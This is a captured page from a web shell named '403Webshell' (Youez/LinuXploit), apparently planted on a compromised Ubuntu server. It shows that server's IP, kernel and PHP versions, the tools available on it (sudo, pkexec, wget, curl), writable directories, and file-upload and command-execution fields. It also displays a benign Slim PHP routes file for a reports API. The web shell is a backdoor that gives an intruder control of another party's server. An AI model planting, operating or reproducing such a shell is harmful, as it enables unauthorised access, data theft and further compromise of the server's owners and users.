403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/project-slim/app/Routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/project-slim/app/Routes/reports.php.backup
<?php
use App\Controllers\ReportsController;
use Slim\App;

return function (App $app) {
    // Report CRUD operations
    $app->get('/api/v1/reports', [ReportsController::class, 'index']);
    $app->get('/api/v1/reports/{id}', [ReportsController::class, 'show']);
    $app->post('/api/v1/reports/generate', [ReportsController::class, 'generate']);
    $app->put('/api/v1/reports/{id}', [ReportsController::class, 'update']);
    $app->delete('/api/v1/reports/{id}', [ReportsController::class, 'destroy']);
    
    // Report specific operations
    $app->get('/api/v1/reports/{id}/download', [ReportsController::class, 'download']);
    $app->get('/api/v1/reports/{id}/data', [ReportsController::class, 'getData']);
    $app->post('/api/v1/reports/{id}/share', [ReportsController::class, 'share']);
    
    // Report types and templates
    $app->get('/api/v1/reports/types', [ReportsController::class, 'getTypes']);
    $app->get('/api/v1/reports/templates', [ReportsController::class, 'getTemplates']);
    
    // Report scheduling
    $app->post('/api/v1/reports/schedule', [ReportsController::class, 'schedule']);
    $app->get('/api/v1/reports/scheduled', [ReportsController::class, 'getScheduled']);
    $app->delete('/api/v1/reports/scheduled/{id}', [ReportsController::class, 'cancelSchedule']);
    
    // Report analytics and management
    $app->get('/api/v1/reports/analytics', [ReportsController::class, 'getAnalytics']);
    $app->post('/api/v1/reports/archive', [ReportsController::class, 'archive']);
    $app->post('/api/v1/reports/bulk-generate', [ReportsController::class, 'bulkGenerate']);
};

Youez - 2016 - github.com/yon3zu
LinuXploit